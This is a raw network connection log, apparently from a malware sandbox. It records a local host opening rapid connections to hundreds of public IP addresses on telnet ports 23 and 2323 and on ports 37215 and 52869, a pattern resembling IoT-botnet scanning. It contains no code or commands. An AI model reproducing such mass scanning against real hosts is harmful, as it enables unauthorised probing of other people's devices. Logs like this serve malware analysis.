Dec 4, 2024 20:34:32.577337980 CET	50016	23	192.168.2.14	67.211.69.196
Dec 4, 2024 20:34:32.577475071 CET	2323	60254	149.210.117.222	192.168.2.14
Dec 4, 2024 20:34:32.577681065 CET	2323	60316	149.210.117.222	192.168.2.14
Dec 4, 2024 20:34:32.577723026 CET	60316	2323	192.168.2.14	149.210.117.222
Dec 4, 2024 20:34:32.578186035 CET	23	46294	159.106.17.172	192.168.2.14
Dec 4, 2024 20:34:32.578243971 CET	46294	23	192.168.2.14	159.106.17.172
Dec 4, 2024 20:34:32.578476906 CET	23	47334	160.193.185.221	192.168.2.14
Dec 4, 2024 20:34:32.578617096 CET	46328	23	192.168.2.14	159.106.17.172
Dec 4, 2024 20:34:32.578974009 CET	23	57398	201.237.203.245	192.168.2.14
Dec 4, 2024 20:34:32.579032898 CET	47334	23	192.168.2.14	160.193.185.221
Dec 4, 2024 20:34:32.579341888 CET	47368	23	192.168.2.14	160.193.185.221
Dec 4, 2024 20:34:32.579627991 CET	23	38412	44.251.194.145	192.168.2.14
Dec 4, 2024 20:34:32.579715967 CET	57398	23	192.168.2.14	201.237.203.245
Dec 4, 2024 20:34:32.580020905 CET	57432	23	192.168.2.14	201.237.203.245
Dec 4, 2024 20:34:32.580404043 CET	38412	23	192.168.2.14	44.251.194.145
Dec 4, 2024 20:34:32.580672026 CET	38446	23	192.168.2.14	44.251.194.145
Dec 4, 2024 20:34:32.580702066 CET	23	52504	8.194.249.0	192.168.2.14
Dec 4, 2024 20:34:32.581060886 CET	52504	23	192.168.2.14	8.194.249.0
Dec 4, 2024 20:34:32.581355095 CET	52538	23	192.168.2.14	8.194.249.0
Dec 4, 2024 20:34:32.597040892 CET	23	35366	110.0.125.196	192.168.2.14
Dec 4, 2024 20:34:32.597372055 CET	23	35404	110.0.125.196	192.168.2.14
Dec 4, 2024 20:34:32.597424030 CET	35404	23	192.168.2.14	110.0.125.196
Dec 4, 2024 20:34:32.693418980 CET	23	46658	41.232.236.37	192.168.2.14
Dec 4, 2024 20:34:32.693602085 CET	46658	23	192.168.2.14	41.232.236.37
Dec 4, 2024 20:34:32.693994999 CET	2323	44162	73.219.199.141	192.168.2.14
Dec 4, 2024 20:34:32.694125891 CET	46692	23	192.168.2.14	41.232.236.37
Dec 4, 2024 20:34:32.694483042 CET	44162	2323	192.168.2.14	73.219.199.141
Dec 4, 2024 20:34:32.694559097 CET	44162	2323	192.168.2.14	73.219.199.141
Dec 4, 2024 20:34:32.694740057 CET	23	46750	72.154.248.245	192.168.2.14
Dec 4, 2024 20:34:32.694849968 CET	44196	2323	192.168.2.14	73.219.199.141
Dec 4, 2024 20:34:32.695264101 CET	46750	23	192.168.2.14	72.154.248.245
Dec 4, 2024 20:34:32.695466042 CET	23	57968	180.221.166.246	192.168.2.14
Dec 4, 2024 20:34:32.695548058 CET	46784	23	192.168.2.14	72.154.248.245
Dec 4, 2024 20:34:32.696033955 CET	57968	23	192.168.2.14	180.221.166.246
Dec 4, 2024 20:34:32.696305037 CET	58002	23	192.168.2.14	180.221.166.246
Dec 4, 2024 20:34:32.696366072 CET	23	35900	87.18.192.151	192.168.2.14
Dec 4, 2024 20:34:32.696902037 CET	23	35934	87.18.192.151	192.168.2.14
Dec 4, 2024 20:34:32.696916103 CET	23	34858	87.158.11.91	192.168.2.14
Dec 4, 2024 20:34:32.696959019 CET	35934	23	192.168.2.14	87.18.192.151
Dec 4, 2024 20:34:32.696981907 CET	34858	23	192.168.2.14	87.158.11.91
Dec 4, 2024 20:34:32.697251081 CET	34892	23	192.168.2.14	87.158.11.91
Dec 4, 2024 20:34:32.697475910 CET	23	42010	141.195.64.207	192.168.2.14
Dec 4, 2024 20:34:32.697571993 CET	2323	42118	180.191.196.252	192.168.2.14
Dec 4, 2024 20:34:32.697618008 CET	42010	23	192.168.2.14	141.195.64.207
Dec 4, 2024 20:34:32.697900057 CET	42044	23	192.168.2.14	141.195.64.207
Dec 4, 2024 20:34:32.697913885 CET	23	49982	67.211.69.196	192.168.2.14
Dec 4, 2024 20:34:32.698170900 CET	23	38992	183.146.203.76	192.168.2.14
Dec 4, 2024 20:34:32.698220968 CET	23	50016	67.211.69.196	192.168.2.14
Dec 4, 2024 20:34:32.698250055 CET	50016	23	192.168.2.14	67.211.69.196
Dec 4, 2024 20:34:32.698256969 CET	42118	2323	192.168.2.14	180.191.196.252
Dec 4, 2024 20:34:32.698568106 CET	42152	2323	192.168.2.14	180.191.196.252
Dec 4, 2024 20:34:32.698951006 CET	38992	23	192.168.2.14	183.146.203.76
Dec 4, 2024 20:34:32.698966026 CET	2323	60316	149.210.117.222	192.168.2.14
Dec 4, 2024 20:34:32.699198008 CET	23	46294	159.106.17.172	192.168.2.14
Dec 4, 2024 20:34:32.699242115 CET	39026	23	192.168.2.14	183.146.203.76
Dec 4, 2024 20:34:32.699652910 CET	60316	2323	192.168.2.14	149.210.117.222
Dec 4, 2024 20:34:32.699731112 CET	23	46328	159.106.17.172	192.168.2.14
Dec 4, 2024 20:34:32.699769974 CET	46328	23	192.168.2.14	159.106.17.172
Dec 4, 2024 20:34:32.699943066 CET	60350	2323	192.168.2.14	149.210.117.222
Dec 4, 2024 20:34:32.700264931 CET	23	47334	160.193.185.221	192.168.2.14
Dec 4, 2024 20:34:32.700483084 CET	23	47368	160.193.185.221	192.168.2.14
Dec 4, 2024 20:34:32.700522900 CET	47368	23	192.168.2.14	160.193.185.221
Dec 4, 2024 20:34:32.700833082 CET	23	57398	201.237.203.245	192.168.2.14
Dec 4, 2024 20:34:32.701113939 CET	23	57432	201.237.203.245	192.168.2.14
Dec 4, 2024 20:34:32.701159000 CET	57432	23	192.168.2.14	201.237.203.245
Dec 4, 2024 20:34:32.701539993 CET	23	38412	44.251.194.145	192.168.2.14
Dec 4, 2024 20:34:32.702002048 CET	23	38446	44.251.194.145	192.168.2.14
Dec 4, 2024 20:34:32.702040911 CET	38446	23	192.168.2.14	44.251.194.145
Dec 4, 2024 20:34:32.702370882 CET	23	52504	8.194.249.0	192.168.2.14
Dec 4, 2024 20:34:32.702604055 CET	23	52538	8.194.249.0	192.168.2.14
Dec 4, 2024 20:34:32.702647924 CET	52538	23	192.168.2.14	8.194.249.0
Dec 4, 2024 20:34:32.720567942 CET	23	35404	110.0.125.196	192.168.2.14
Dec 4, 2024 20:34:32.720659018 CET	35404	23	192.168.2.14	110.0.125.196
Dec 4, 2024 20:34:32.720983982 CET	35438	23	192.168.2.14	110.0.125.196
Dec 4, 2024 20:34:32.816029072 CET	23	46658	41.232.236.37	192.168.2.14
Dec 4, 2024 20:34:32.816510916 CET	23	46692	41.232.236.37	192.168.2.14
Dec 4, 2024 20:34:32.816590071 CET	46692	23	192.168.2.14	41.232.236.37
Dec 4, 2024 20:34:32.816987991 CET	2323	44162	73.219.199.141	192.168.2.14
Dec 4, 2024 20:34:32.817322969 CET	2323	44196	73.219.199.141	192.168.2.14
Dec 4, 2024 20:34:32.817363977 CET	44196	2323	192.168.2.14	73.219.199.141
Dec 4, 2024 20:34:32.818069935 CET	23	46750	72.154.248.245	192.168.2.14
Dec 4, 2024 20:34:32.818200111 CET	23	46784	72.154.248.245	192.168.2.14
Dec 4, 2024 20:34:32.818274975 CET	46784	23	192.168.2.14	72.154.248.245
Dec 4, 2024 20:34:32.818773985 CET	23	57968	180.221.166.246	192.168.2.14
Dec 4, 2024 20:34:32.819005013 CET	23	58002	180.221.166.246	192.168.2.14
Dec 4, 2024 20:34:32.819056988 CET	58002	23	192.168.2.14	180.221.166.246
Dec 4, 2024 20:34:32.819797993 CET	23	34858	87.158.11.91	192.168.2.14
Dec 4, 2024 20:34:32.820149899 CET	23	34892	87.158.11.91	192.168.2.14
Dec 4, 2024 20:34:32.820189953 CET	34892	23	192.168.2.14	87.158.11.91
Dec 4, 2024 20:34:32.820502043 CET	23	42010	141.195.64.207	192.168.2.14
Dec 4, 2024 20:34:32.820858002 CET	23	42044	141.195.64.207	192.168.2.14
Dec 4, 2024 20:34:32.820898056 CET	42044	23	192.168.2.14	141.195.64.207
Dec 4, 2024 20:34:32.821312904 CET	2323	42118	180.191.196.252	192.168.2.14
Dec 4, 2024 20:34:32.821480989 CET	23	50016	67.211.69.196	192.168.2.14
Dec 4, 2024 20:34:32.821540117 CET	50016	23	192.168.2.14	67.211.69.196
Dec 4, 2024 20:34:32.821655989 CET	2323	42152	180.191.196.252	192.168.2.14
Dec 4, 2024 20:34:32.821683884 CET	42152	2323	192.168.2.14	180.191.196.252
Dec 4, 2024 20:34:32.821926117 CET	50048	23	192.168.2.14	67.211.69.196
Dec 4, 2024 20:34:32.822165012 CET	23	38992	183.146.203.76	192.168.2.14
Dec 4, 2024 20:34:32.822460890 CET	23	39026	183.146.203.76	192.168.2.14
Dec 4, 2024 20:34:32.822503090 CET	39026	23	192.168.2.14	183.146.203.76
Dec 4, 2024 20:34:32.823020935 CET	2323	60316	149.210.117.222	192.168.2.14
Dec 4, 2024 20:34:32.823307037 CET	2323	60350	149.210.117.222	192.168.2.14
Dec 4, 2024 20:34:32.823357105 CET	60350	2323	192.168.2.14	149.210.117.222
Dec 4, 2024 20:34:32.823435068 CET	23	46328	159.106.17.172	192.168.2.14
Dec 4, 2024 20:34:32.823492050 CET	46328	23	192.168.2.14	159.106.17.172
Dec 4, 2024 20:34:32.823801041 CET	46360	23	192.168.2.14	159.106.17.172
Dec 4, 2024 20:34:32.824177980 CET	23	47368	160.193.185.221	192.168.2.14
Dec 4, 2024 20:34:32.824229002 CET	47368	23	192.168.2.14	160.193.185.221
Dec 4, 2024 20:34:32.824544907 CET	47400	23	192.168.2.14	160.193.185.221
Dec 4, 2024 20:34:32.824786901 CET	23	57432	201.237.203.245	192.168.2.14
Dec 4, 2024 20:34:32.824930906 CET	57432	23	192.168.2.14	201.237.203.245
Dec 4, 2024 20:34:32.825237989 CET	57464	23	192.168.2.14	201.237.203.245
Dec 4, 2024 20:34:32.825712919 CET	23	38446	44.251.194.145	192.168.2.14
Dec 4, 2024 20:34:32.825766087 CET	38446	23	192.168.2.14	44.251.194.145
Dec 4, 2024 20:34:32.826035023 CET	38478	23	192.168.2.14	44.251.194.145
Dec 4, 2024 20:34:32.826217890 CET	23	52538	8.194.249.0	192.168.2.14
Dec 4, 2024 20:34:32.826421976 CET	52538	23	192.168.2.14	8.194.249.0
Dec 4, 2024 20:34:32.826708078 CET	52570	23	192.168.2.14	8.194.249.0
Dec 4, 2024 20:34:32.844393969 CET	23	35404	110.0.125.196	192.168.2.14
Dec 4, 2024 20:34:32.844682932 CET	23	35438	110.0.125.196	192.168.2.14
Dec 4, 2024 20:34:32.844732046 CET	35438	23	192.168.2.14	110.0.125.196
Dec 4, 2024 20:34:32.943890095 CET	23	46692	41.232.236.37	192.168.2.14
Dec 4, 2024 20:34:32.944044113 CET	46692	23	192.168.2.14	41.232.236.37
Dec 4, 2024 20:34:32.944462061 CET	46724	23	192.168.2.14	41.232.236.37
Dec 4, 2024 20:34:32.944498062 CET	2323	44196	73.219.199.141	192.168.2.14
Dec 4, 2024 20:34:32.944916010 CET	60787	2323	192.168.2.14	146.69.126.92
Dec 4, 2024 20:34:32.944916964 CET	60787	23	192.168.2.14	210.255.98.66
Dec 4, 2024 20:34:32.944931984 CET	60787	23	192.168.2.14	23.209.45.12
Dec 4, 2024 20:34:32.944941998 CET	60787	23	192.168.2.14	32.67.207.100
Dec 4, 2024 20:34:32.944942951 CET	60787	23	192.168.2.14	91.89.225.46
Dec 4, 2024 20:34:32.944950104 CET	60787	23	192.168.2.14	77.33.158.52
Dec 4, 2024 20:34:32.944957018 CET	60787	23	192.168.2.14	172.81.57.50
Dec 4, 2024 20:34:32.944960117 CET	60787	23	192.168.2.14	89.27.117.107
Dec 4, 2024 20:34:32.944952965 CET	60787	23	192.168.2.14	181.211.42.104
Dec 4, 2024 20:34:32.944966078 CET	60787	23	192.168.2.14	82.200.112.32
Dec 4, 2024 20:34:32.944967985 CET	60787	2323	192.168.2.14	208.188.10.106
Dec 4, 2024 20:34:32.944978952 CET	60787	23	192.168.2.14	191.42.37.108
Dec 4, 2024 20:34:32.944978952 CET	60787	23	192.168.2.14	107.171.73.72
Dec 4, 2024 20:34:32.944983959 CET	60787	23	192.168.2.14	186.87.163.245
Dec 4, 2024 20:34:32.944998980 CET	60787	23	192.168.2.14	203.26.15.64
Dec 4, 2024 20:34:32.944998980 CET	60787	23	192.168.2.14	5.167.167.242
Dec 4, 2024 20:34:32.944999933 CET	60787	23	192.168.2.14	100.203.202.177
Dec 4, 2024 20:34:32.945009947 CET	60787	23	192.168.2.14	109.90.28.35
Dec 4, 2024 20:34:32.945013046 CET	60787	23	192.168.2.14	154.144.70.112
Dec 4, 2024 20:34:32.945020914 CET	60787	23	192.168.2.14	122.197.74.96
Dec 4, 2024 20:34:32.945020914 CET	60787	23	192.168.2.14	103.74.37.109
Dec 4, 2024 20:34:32.945023060 CET	60787	23	192.168.2.14	163.242.133.68
Dec 4, 2024 20:34:32.945023060 CET	60787	23	192.168.2.14	216.37.170.175
Dec 4, 2024 20:34:32.945036888 CET	60787	23	192.168.2.14	174.234.34.196
Dec 4, 2024 20:34:32.945036888 CET	60787	23	192.168.2.14	216.107.191.240
Dec 4, 2024 20:34:32.945039988 CET	60787	23	192.168.2.14	52.255.1.228
Dec 4, 2024 20:34:32.945041895 CET	60787	2323	192.168.2.14	104.112.19.36
Dec 4, 2024 20:34:32.945044994 CET	60787	23	192.168.2.14	160.235.219.221
Dec 4, 2024 20:34:32.945045948 CET	60787	23	192.168.2.14	79.97.112.62
Dec 4, 2024 20:34:32.945060968 CET	60787	2323	192.168.2.14	44.242.144.35
Dec 4, 2024 20:34:32.945060968 CET	60787	23	192.168.2.14	96.254.113.85
Dec 4, 2024 20:34:32.945063114 CET	60787	23	192.168.2.14	180.12.111.84
Dec 4, 2024 20:34:32.945065022 CET	60787	23	192.168.2.14	32.41.180.211
Dec 4, 2024 20:34:32.945072889 CET	60787	23	192.168.2.14	38.74.5.66
Dec 4, 2024 20:34:32.945076942 CET	60787	23	192.168.2.14	175.232.176.91
Dec 4, 2024 20:34:32.945077896 CET	60787	23	192.168.2.14	78.103.194.202
Dec 4, 2024 20:34:32.945081949 CET	60787	23	192.168.2.14	200.150.172.129
Dec 4, 2024 20:34:32.945086002 CET	60787	23	192.168.2.14	32.233.163.87
Dec 4, 2024 20:34:32.945097923 CET	60787	23	192.168.2.14	144.40.97.122
Dec 4, 2024 20:34:32.945099115 CET	60787	23	192.168.2.14	14.213.179.106
Dec 4, 2024 20:34:32.945101976 CET	60787	2323	192.168.2.14	220.47.108.180
Dec 4, 2024 20:34:32.945111990 CET	60787	23	192.168.2.14	91.167.43.40
Dec 4, 2024 20:34:32.945120096 CET	60787	23	192.168.2.14	182.48.20.239
Dec 4, 2024 20:34:32.945132971 CET	60787	23	192.168.2.14	66.71.165.141
Dec 4, 2024 20:34:32.945132971 CET	60787	23	192.168.2.14	61.212.91.102
Dec 4, 2024 20:34:32.945137978 CET	60787	23	192.168.2.14	183.40.245.219
Dec 4, 2024 20:34:32.945142984 CET	60787	23	192.168.2.14	32.5.66.124
Dec 4, 2024 20:34:32.945143938 CET	60787	23	192.168.2.14	12.126.214.109
Dec 4, 2024 20:34:32.945164919 CET	60787	23	192.168.2.14	13.45.228.120
Dec 4, 2024 20:34:32.945166111 CET	60787	23	192.168.2.14	54.127.4.47
Dec 4, 2024 20:34:32.945173979 CET	60787	2323	192.168.2.14	24.239.210.42
Dec 4, 2024 20:34:32.945173979 CET	60787	23	192.168.2.14	139.150.90.194
Dec 4, 2024 20:34:32.945194960 CET	60787	23	192.168.2.14	24.139.210.236
Dec 4, 2024 20:34:32.945198059 CET	60787	23	192.168.2.14	129.19.15.193
Dec 4, 2024 20:34:32.945198059 CET	60787	23	192.168.2.14	38.160.253.66
Dec 4, 2024 20:34:32.945215940 CET	60787	23	192.168.2.14	153.246.1.215
Dec 4, 2024 20:34:32.945216894 CET	60787	23	192.168.2.14	46.25.21.87
Dec 4, 2024 20:34:32.945216894 CET	60787	23	192.168.2.14	206.48.124.162
Dec 4, 2024 20:34:32.945216894 CET	60787	23	192.168.2.14	216.130.244.170
Dec 4, 2024 20:34:32.945219994 CET	60787	23	192.168.2.14	170.197.74.131
Dec 4, 2024 20:34:32.945233107 CET	60787	2323	192.168.2.14	174.20.54.222
Dec 4, 2024 20:34:32.945233107 CET	60787	23	192.168.2.14	220.185.86.18
Dec 4, 2024 20:34:32.945255041 CET	60787	23	192.168.2.14	205.132.53.248
Dec 4, 2024 20:34:32.945255041 CET	60787	23	192.168.2.14	69.128.243.149
Dec 4, 2024 20:34:32.945255995 CET	60787	23	192.168.2.14	101.7.198.204
Dec 4, 2024 20:34:32.945259094 CET	60787	23	192.168.2.14	66.191.139.121
Dec 4, 2024 20:34:32.945259094 CET	60787	23	192.168.2.14	89.255.51.31
Dec 4, 2024 20:34:32.945266962 CET	60787	23	192.168.2.14	76.211.39.116
Dec 4, 2024 20:34:32.945276022 CET	60787	23	192.168.2.14	9.191.36.77
Dec 4, 2024 20:34:32.945276976 CET	60787	23	192.168.2.14	151.3.165.134
Dec 4, 2024 20:34:32.945276976 CET	60787	2323	192.168.2.14	103.243.150.24
Dec 4, 2024 20:34:32.945297003 CET	60787	23	192.168.2.14	187.125.36.175
Dec 4, 2024 20:34:32.945303917 CET	60787	23	192.168.2.14	12.17.171.36
Dec 4, 2024 20:34:32.945312023 CET	60787	23	192.168.2.14	149.149.228.153
Dec 4, 2024 20:34:32.945318937 CET	60787	23	192.168.2.14	23.64.17.233
Dec 4, 2024 20:34:32.945318937 CET	60787	23	192.168.2.14	172.125.126.106
Dec 4, 2024 20:34:32.945327044 CET	60787	23	192.168.2.14	75.96.69.69
Dec 4, 2024 20:34:32.945338964 CET	60787	23	192.168.2.14	187.247.187.33
Dec 4, 2024 20:34:32.945339918 CET	60787	23	192.168.2.14	93.73.101.43
Dec 4, 2024 20:34:32.945339918 CET	60787	23	192.168.2.14	187.225.60.3
Dec 4, 2024 20:34:32.945339918 CET	60787	2323	192.168.2.14	60.24.214.86
Dec 4, 2024 20:34:32.945363045 CET	60787	23	192.168.2.14	78.233.57.2
Dec 4, 2024 20:34:32.945372105 CET	60787	23	192.168.2.14	114.57.230.136
Dec 4, 2024 20:34:32.945373058 CET	60787	23	192.168.2.14	194.38.42.104
Dec 4, 2024 20:34:32.945373058 CET	60787	23	192.168.2.14	206.128.74.74
Dec 4, 2024 20:34:32.945373058 CET	60787	2323	192.168.2.14	63.201.125.51
Dec 4, 2024 20:34:32.945374966 CET	60787	23	192.168.2.14	207.68.191.30
Dec 4, 2024 20:34:32.945378065 CET	60787	23	192.168.2.14	136.225.133.141
Dec 4, 2024 20:34:32.945378065 CET	60787	23	192.168.2.14	31.126.243.21
Dec 4, 2024 20:34:32.945379972 CET	60787	23	192.168.2.14	141.10.190.167
Dec 4, 2024 20:34:32.945379972 CET	23	46784	72.154.248.245	192.168.2.14
Dec 4, 2024 20:34:32.945379972 CET	60787	23	192.168.2.14	70.4.121.157
Dec 4, 2024 20:34:32.945379972 CET	60787	23	192.168.2.14	115.7.31.216
Dec 4, 2024 20:34:32.945385933 CET	60787	23	192.168.2.14	218.12.125.125
Dec 4, 2024 20:34:32.945406914 CET	60787	23	192.168.2.14	204.86.8.21
Dec 4, 2024 20:34:32.945406914 CET	60787	23	192.168.2.14	17.80.16.13
Dec 4, 2024 20:34:32.945410967 CET	60787	23	192.168.2.14	136.247.169.132
Dec 4, 2024 20:34:32.945415974 CET	60787	23	192.168.2.14	199.81.93.164
Dec 4, 2024 20:34:32.945416927 CET	60787	23	192.168.2.14	163.107.173.251
Dec 4, 2024 20:34:32.945421934 CET	60787	23	192.168.2.14	14.151.156.154
Dec 4, 2024 20:34:32.945437908 CET	60787	2323	192.168.2.14	187.52.123.123
Dec 4, 2024 20:34:32.945441961 CET	60787	23	192.168.2.14	153.167.155.239
Dec 4, 2024 20:34:32.945456028 CET	60787	23	192.168.2.14	100.251.217.112
Dec 4, 2024 20:34:32.945461035 CET	60787	23	192.168.2.14	208.17.49.216
Dec 4, 2024 20:34:32.945465088 CET	60787	23	192.168.2.14	118.87.143.130
Dec 4, 2024 20:34:32.945470095 CET	60787	23	192.168.2.14	203.3.254.173
Dec 4, 2024 20:34:32.945472002 CET	60787	23	192.168.2.14	53.5.231.104
Dec 4, 2024 20:34:32.945472002 CET	60787	23	192.168.2.14	122.166.247.47
Dec 4, 2024 20:34:32.945492029 CET	60787	23	192.168.2.14	77.252.231.51
Dec 4, 2024 20:34:32.945501089 CET	60787	23	192.168.2.14	216.113.208.203
Dec 4, 2024 20:34:32.945501089 CET	60787	23	192.168.2.14	108.193.10.161
Dec 4, 2024 20:34:32.945508957 CET	60787	23	192.168.2.14	105.64.59.144
Dec 4, 2024 20:34:32.945509911 CET	60787	23	192.168.2.14	76.84.123.183
Dec 4, 2024 20:34:32.945508957 CET	60787	23	192.168.2.14	14.201.212.74
Dec 4, 2024 20:34:32.945509911 CET	60787	23	192.168.2.14	116.37.153.115
Dec 4, 2024 20:34:32.945511103 CET	60787	2323	192.168.2.14	158.170.175.42
Dec 4, 2024 20:34:32.945518017 CET	60787	23	192.168.2.14	103.0.229.174
Dec 4, 2024 20:34:32.945522070 CET	60787	23	192.168.2.14	206.22.181.161
Dec 4, 2024 20:34:32.945523977 CET	60787	23	192.168.2.14	44.205.185.147
Dec 4, 2024 20:34:32.945523977 CET	60787	23	192.168.2.14	181.242.185.206
Dec 4, 2024 20:34:32.945523977 CET	60787	23	192.168.2.14	67.221.221.85
Dec 4, 2024 20:34:32.945538044 CET	60787	2323	192.168.2.14	193.218.175.56
Dec 4, 2024 20:34:32.945538044 CET	60787	23	192.168.2.14	97.250.11.82
Dec 4, 2024 20:34:32.945548058 CET	60787	23	192.168.2.14	204.55.167.210
Dec 4, 2024 20:34:32.945549965 CET	60787	23	192.168.2.14	96.123.61.203
Dec 4, 2024 20:34:32.945557117 CET	60787	23	192.168.2.14	75.217.167.64
Dec 4, 2024 20:34:32.945557117 CET	60787	23	192.168.2.14	105.134.48.94
Dec 4, 2024 20:34:32.945564032 CET	60787	23	192.168.2.14	73.109.22.84
Dec 4, 2024 20:34:32.945568085 CET	60787	23	192.168.2.14	83.68.212.108
Dec 4, 2024 20:34:32.945580006 CET	60787	23	192.168.2.14	67.167.36.87
Dec 4, 2024 20:34:32.945586920 CET	60787	2323	192.168.2.14	204.197.130.214
Dec 4, 2024 20:34:32.945589066 CET	60787	23	192.168.2.14	157.49.1.8
Dec 4, 2024 20:34:32.945594072 CET	60787	23	192.168.2.14	204.124.86.170
Dec 4, 2024 20:34:32.945600033 CET	60787	23	192.168.2.14	1.155.201.199
Dec 4, 2024 20:34:32.945612907 CET	60787	23	192.168.2.14	85.141.118.243
Dec 4, 2024 20:34:32.945612907 CET	60787	23	192.168.2.14	185.91.0.245
Dec 4, 2024 20:34:32.945628881 CET	60787	23	192.168.2.14	118.15.157.109
Dec 4, 2024 20:34:32.945633888 CET	60787	23	192.168.2.14	17.1.38.70
Dec 4, 2024 20:34:32.945632935 CET	60787	23	192.168.2.14	216.218.54.150
Dec 4, 2024 20:34:32.945637941 CET	60787	23	192.168.2.14	162.111.50.50
Dec 4, 2024 20:34:32.945637941 CET	60787	23	192.168.2.14	76.151.187.122
Dec 4, 2024 20:34:32.945645094 CET	60787	2323	192.168.2.14	91.78.245.135
Dec 4, 2024 20:34:32.945656061 CET	60787	23	192.168.2.14	80.204.61.41
Dec 4, 2024 20:34:32.945658922 CET	60787	23	192.168.2.14	212.128.54.147
Dec 4, 2024 20:34:32.945660114 CET	60787	23	192.168.2.14	158.170.22.172
Dec 4, 2024 20:34:32.945667028 CET	60787	23	192.168.2.14	103.121.88.118
Dec 4, 2024 20:34:32.945679903 CET	60787	2323	192.168.2.14	58.76.131.124
Dec 4, 2024 20:34:32.945679903 CET	60787	23	192.168.2.14	208.19.133.39
Dec 4, 2024 20:34:32.945683002 CET	60787	23	192.168.2.14	220.82.80.152
Dec 4, 2024 20:34:32.945683956 CET	60787	23	192.168.2.14	66.8.207.198
Dec 4, 2024 20:34:32.945683956 CET	60787	23	192.168.2.14	183.172.159.19
Dec 4, 2024 20:34:32.945683956 CET	60787	23	192.168.2.14	92.179.93.233
Dec 4, 2024 20:34:32.945684910 CET	60787	23	192.168.2.14	165.26.254.102
Dec 4, 2024 20:34:32.945684910 CET	60787	23	192.168.2.14	222.214.51.224
Dec 4, 2024 20:34:32.945684910 CET	60787	23	192.168.2.14	177.24.75.152
Dec 4, 2024 20:34:32.945686102 CET	60787	23	192.168.2.14	134.255.213.223
Dec 4, 2024 20:34:32.945684910 CET	60787	23	192.168.2.14	59.211.234.86
Dec 4, 2024 20:34:32.945686102 CET	60787	23	192.168.2.14	112.27.214.11
Dec 4, 2024 20:34:32.945686102 CET	60787	23	192.168.2.14	57.202.249.66
Dec 4, 2024 20:34:32.945698977 CET	60787	23	192.168.2.14	108.132.127.51
Dec 4, 2024 20:34:32.945710897 CET	60787	23	192.168.2.14	161.37.68.93
Dec 4, 2024 20:34:32.945744991 CET	44196	2323	192.168.2.14	73.219.199.141
Dec 4, 2024 20:34:32.945770025 CET	23	58002	180.221.166.246	192.168.2.14
Dec 4, 2024 20:34:32.946103096 CET	44228	2323	192.168.2.14	73.219.199.141
Dec 4, 2024 20:34:32.946453094 CET	58002	23	192.168.2.14	180.221.166.246
Dec 4, 2024 20:34:32.946454048 CET	46784	23	192.168.2.14	72.154.248.245
Dec 4, 2024 20:34:32.946507931 CET	46784	23	192.168.2.14	72.154.248.245
Dec 4, 2024 20:34:32.946890116 CET	46816	23	192.168.2.14	72.154.248.245
Dec 4, 2024 20:34:32.947287083 CET	23	34892	87.158.11.91	192.168.2.14
Dec 4, 2024 20:34:32.947380066 CET	58002	23	192.168.2.14	180.221.166.246
Dec 4, 2024 20:34:32.947673082 CET	23	42044	141.195.64.207	192.168.2.14
Dec 4, 2024 20:34:32.947679996 CET	58034	23	192.168.2.14	180.221.166.246
Dec 4, 2024 20:34:32.947999001 CET	23	50016	67.211.69.196	192.168.2.14
Dec 4, 2024 20:34:32.948106050 CET	34892	23	192.168.2.14	87.158.11.91
Dec 4, 2024 20:34:32.948420048 CET	34924	23	192.168.2.14	87.158.11.91
Dec 4, 2024 20:34:32.948470116 CET	23	50048	67.211.69.196	192.168.2.14
Dec 4, 2024 20:34:32.948513031 CET	50048	23	192.168.2.14	67.211.69.196
Dec 4, 2024 20:34:32.948545933 CET	2323	42152	180.191.196.252	192.168.2.14
Dec 4, 2024 20:34:32.948900938 CET	42044	23	192.168.2.14	141.195.64.207
Dec 4, 2024 20:34:32.949178934 CET	42076	23	192.168.2.14	141.195.64.207
Dec 4, 2024 20:34:32.949434042 CET	23	39026	183.146.203.76	192.168.2.14
Dec 4, 2024 20:34:32.949543953 CET	42152	2323	192.168.2.14	180.191.196.252
Dec 4, 2024 20:34:32.949830055 CET	42184	2323	192.168.2.14	180.191.196.252
Dec 4, 2024 20:34:32.950150013 CET	23	46328	159.106.17.172	192.168.2.14
Dec 4, 2024 20:34:32.950196981 CET	2323	60350	149.210.117.222	192.168.2.14
Dec 4, 2024 20:34:32.950237989 CET	39026	23	192.168.2.14	183.146.203.76
Dec 4, 2024 20:34:32.950483084 CET	54208	37215	192.168.2.14	41.16.199.204
Dec 4, 2024 20:34:32.950485945 CET	52478	37215	192.168.2.14	156.151.128.175
Dec 4, 2024 20:34:32.950485945 CET	35686	37215	192.168.2.14	41.181.147.225
Dec 4, 2024 20:34:32.950489044 CET	45472	37215	192.168.2.14	156.165.42.93
Dec 4, 2024 20:34:32.950495958 CET	47310	37215	192.168.2.14	197.42.34.155
Dec 4, 2024 20:34:32.950505018 CET	51962	37215	192.168.2.14	156.252.138.242
Dec 4, 2024 20:34:32.950578928 CET	39058	23	192.168.2.14	183.146.203.76
Dec 4, 2024 20:34:32.950599909 CET	23	46360	159.106.17.172	192.168.2.14
Dec 4, 2024 20:34:32.950644970 CET	46360	23	192.168.2.14	159.106.17.172
Dec 4, 2024 20:34:32.950962067 CET	60350	2323	192.168.2.14	149.210.117.222
Dec 4, 2024 20:34:32.951059103 CET	23	47368	160.193.185.221	192.168.2.14
Dec 4, 2024 20:34:32.951232910 CET	60382	2323	192.168.2.14	149.210.117.222
Dec 4, 2024 20:34:32.951251984 CET	23	47400	160.193.185.221	192.168.2.14
Dec 4, 2024 20:34:32.951294899 CET	47400	23	192.168.2.14	160.193.185.221
Dec 4, 2024 20:34:32.951536894 CET	23	57432	201.237.203.245	192.168.2.14
Dec 4, 2024 20:34:32.951792955 CET	23	57464	201.237.203.245	192.168.2.14
Dec 4, 2024 20:34:32.951837063 CET	57464	23	192.168.2.14	201.237.203.245
Dec 4, 2024 20:34:32.952420950 CET	23	38446	44.251.194.145	192.168.2.14
Dec 4, 2024 20:34:32.952553034 CET	23	38478	44.251.194.145	192.168.2.14
Dec 4, 2024 20:34:32.952591896 CET	38478	23	192.168.2.14	44.251.194.145
Dec 4, 2024 20:34:32.953212976 CET	23	52538	8.194.249.0	192.168.2.14
Dec 4, 2024 20:34:32.953381062 CET	23	52570	8.194.249.0	192.168.2.14
Dec 4, 2024 20:34:32.953423023 CET	52570	23	192.168.2.14	8.194.249.0
Dec 4, 2024 20:34:33.014575005 CET	43772	52869	192.168.2.14	156.48.242.95
Dec 4, 2024 20:34:33.014575005 CET	60542	52869	192.168.2.14	41.117.90.30
Dec 4, 2024 20:34:33.014575005 CET	52148	52869	192.168.2.14	156.59.66.240
Dec 4, 2024 20:34:33.014580011 CET	53508	52869	192.168.2.14	41.217.152.38
